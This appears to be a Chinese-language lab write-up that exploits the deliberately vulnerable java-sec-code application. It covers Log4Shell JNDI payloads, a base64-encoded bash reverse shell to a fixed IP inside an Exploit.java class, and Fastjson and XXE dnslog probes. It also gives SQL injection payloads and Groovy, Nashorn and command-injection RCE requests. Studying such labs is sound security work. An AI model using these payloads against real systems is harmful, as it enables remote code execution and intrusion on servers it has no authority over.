mysql8.0
java1.8
maven3.9
git clone https://github.com/JoyChou93/java-sec-code访问本地8080端口(admin/admin123)

点击登录之后没反应,查看网络请求发现请求远程jquery.min.js报502错误了
替换成以下就可以正常登录了
https://cdn.jsdelivr.net/npm/[email protected]/dist/jquery.min.js

看一下controller层的log4j文件,使用logger.error记录token值。

我们直接来访问http://localhost:8080/log4j?token=${jndi:ldap://ktrpaedmrm.zaza.eu.org}会报400
查看服务端日志发现,因为包含非法字符触发报错,于是我们对特殊字符进行url编码,成功返回200


进一步利用待补充;
先生成反弹shell命令
bash -i >& /dev/tcp/189.1.226.116/8989 0>&1
进行base64编码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xODkuMS4yMjYuMTE2Lzg5ODkgMD4mMQ==}|{base64,-d}|{bash,-i}
开始编写Exploit.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xODkuMS4yMjYuMTE2Lzg5ODkgMD4mMQ==}|{base64,-d}|{bash,-i}");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}然后我们把Exploit.java编译为Exploit.class

先将编译好的恶意类部署到python的web服务上,再启动ldap服务,开启反弹端口监听。
最后发现无法远程调用。。。。。。应该是不允许加载类,试了很多方法没有成功反弹shell,可以请求到ladp服务,但是没有执行恶意的类文件

查了资料发现自Java 8u191+起,默认禁用远程类加载,系统属性com.sun.jndi.ldap.object.trustURLCodebase设置为 false,直接阻止从LDAP/RMI服务加载远程类。
我的是java1.8.0_202 !!!

最后还可以全局查找logger.看其他地方是否也存在也CVE-2021-44228漏洞
这篇文章不错Fastjson全版本检测及利用-Poc.md
项目引用了1.2.24版本的fastjson,只要<=1.2.24 版本autoType 默认开启,且没有严格的黑名单限制

进行审计时可以通过搜索以下关键词来快速寻找可能存在的漏洞点
代码搜索关键词:
JSON.parseJSON.parseObject@type(JSON中的类名指定字段)Feature.SupportNonPublicField通过post方法请求/fastjson/deserialize路径,传输application/json格式数据

于是可以利用dnslog进行验证
{
"@type":"java.net.Inet4Address",
"val":"k74n3o.ceye.io"
}
返回200成功收到dnslog响应

进一步利用待补充:
对于JDK版本11.0.1、8u191、7u201、6u211及以上,RMI和LDAP的trustURLCodebase已经被限制,但是还存在绕过方法
引入shiro1.2.4依赖,存在漏洞

访问/shiro/deserialize,提示No rememberMe cookie. Right?

在请求包中cookie字段添加;rememberMe=true ,即可验证存在

接下来直接工具梭哈

提示执行失败换一个回显模式就行了

换成TomcatEcho回显就正常了

需要注意的是进行利用时,服务端会抛出很多异常

---------------------------------------------------------------------------------------------------------------
windows部署需要修改源代码

http://localhost:8080/codeinject?filepath=%7Cwhoami(使用|来执行多条命令)

host头注入在Tomcat7.9以上不支持请求链接有特殊字符, 否则报400
/codeinject/sec
调用SecurityUtil.cmdFilter()对输入的filepath进行过滤

只允许
"^[a-zA-Z0-9_/\\.-]+$"

/sqli/mybatis/vuln01和/jdbc/vuln都是没有过滤直接拼接
/jdbc/sec采用预编译,自动进行了转义
String sql = "select * from users where username = ?";
PreparedStatement st = con.prepareStatement(sql);
st.setString(1, username);/jdbc/ps/vuln
这个接口虽然使用了prepareStatement但是仍然采用直接拼接的方法,没什么好说的
@RequestMapping("/jdbc/ps/vuln")
public String jdbc_ps_vuln(@RequestParam("username") String username) {
StringBuilder result = new StringBuilder();
try {
Class.forName(driver);
Connection con = DriverManager.getConnection(url, user, password);
if (!con.isClosed())
System.out.println("Connecting to Database successfully.");
String sql = "select * from users where username = '" + username + "'";
PreparedStatement st = con.prepareStatement(sql);正确用法应该采用占位符
// 正确使用范式 String sql = "SELECT * FROM users WHERE username = ?"; PreparedStatement st = con.prepareStatement(sql); st.setString(1, username); // 参数绑定
/mybatis/vuln02
在UserMapper.xml文件里可以看到使用like进行模糊查询
<select id="findByUserNameVuln02" parameterType="String" resultMap="User">
select * from users where username like '%${_parameter}%'
</select>所以构造' or 1=1-- 即可


/mybatis/vuln03
采用order by语句直接使用${}会造成sql注入
<select id="findByUserNameVuln03" parameterType="String" resultMap="User">
select * from users
<if test="order != null">
order by ${order} asc
</if>
</select>ORDER BY 5 -- 若表仅4列,则报错:Unknown column '5' in 'order clause'IF()结合排序结果差异)。ORDER BY IF(database()='test', 1, (SELECT 1 UNION SELECT 2)) -- 若数据库名为test,正常排序,否则报错
2. 复合语句注入
IF()或 CASE):ORDER BY IF(SUBSTRING(database(),1,1)='a', 1, 2) -- 首字母为a时按第1列排序,否则按第2列
SLEEP()):ORDER BY IF(1=1, SLEEP(2), 1) -- 条件为真时触发延时
ORDER BY (SELECT 1 FROM (SELECT COUNT(*), CONCAT(version(), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y)关键限制与注意事项
UNION)ORDER BY必须位于 SQL 语句末尾,UNION后的查询无法附加 ORDER BY。SELECT * FROM users UNION SELECT * FROM passwords ORDER BY 1; -- 语法错误IF()和 CASE是 MySQL 语法,其他数据库(如 Oracle、PostgreSQL)需调整语法。
这里使用报错注入,还可以盲注
/sqli/mybatis/orderby/vuln03?sort=id AND GTID_SUBSET(CONCAT(database(),(SELECT (ELT(5207=5207,1))),0x7162786a71),5207)
- id:是原本的排序字段,正常情况下的ORDER BY子句可能类似于ORDER BY id。
- AND:这里被用来引入额外的SQL条件,试图改变查询的逻辑。
- GTID_SUBSET():这是MySQL的一个函数,用于检查全局事务标识符(GTID)是否在子集中。但在这里被滥用来执行子查询。
- CONCAT():用于连接字符串,用于构造特定的payload。
- 0x7170706b71和0x7162786a71:这些是十六进制字符串,解码后是某些特定字符,用于混淆或绕过检测。(这两个字符串可以换成我们想要执行的函数)
- ELT(5207=5207,1):ELT函数返回第n个元素,这里5207=5207总为真,所以返回第一个元素,即1。
- 5207:作为GTID_SUBSET的第二个参数。

/rce/runtime/exec

/rce/ProcessBuilder
linux环境下可以执行
@GetMapping("/ProcessBuilder")
public String processBuilder(String cmd) {
StringBuilder sb = new StringBuilder();
try {
String[] arrCmd = {"/bin/sh", "-c", cmd};
ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
Process p = processBuilder.start();
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String tmpStr;
while ((tmpStr = inBr.readLine()) != null) {
sb.append(tmpStr);
}
} catch (Exception e) {
return e.toString();
}
return sb.toString();
}/rce/jscmd

调用远程js,要用Nashorn的JS来调用Java类。例如,使用Java.type 获取Runtime类,然后调用exec方法执行
// test.js 修正版
(function() {
// 正确引用Java类
var System = Java.type("java.lang.System");
// 执行系统命令(Windows示例)
var Runtime = Java.type("java.lang.Runtime");
Runtime.getRuntime().exec("calc.exe");
// 返回执行结果
return "Command executed: " + System.getProperty("os.name");
})();请求以上js,即可执行命令

/rce/vuln/yarm
一直报错,后续我会单独出一期snakeyaml反序列化漏洞的分析与复现

安全写法使用安全构造器限制(SafeConstructor)
!!javax.script.ScriptEngineManager)URLClassLoader、ProcessBuilder等高危类的实例化Groovy RCE 漏洞
@GetMapping("groovy")
public void groovyshell(String content) {
GroovyShell groovyShell = new GroovyShell();
groovyShell.evaluate(content);
}使用 Groovy 的 execute()方法执行命令
http://localhost:8080/rce/groovy?content="calc".execute()

/xmlReader/vuln
此处是一个无回显的xxe,使用dnslog进行验证
@PostMapping("/xmlReader/vuln")
public String xmlReaderVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
xmlReader.parse(new InputSource(new StringReader(body))); // parse xml
return "xmlReader xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}poc
Content-Type: application/xml <!DOCTYPE root [ <!ENTITY xxe SYSTEM "http://0e3fa97c.log.dnslog.sbs"> ]> <root>&xxe;</root>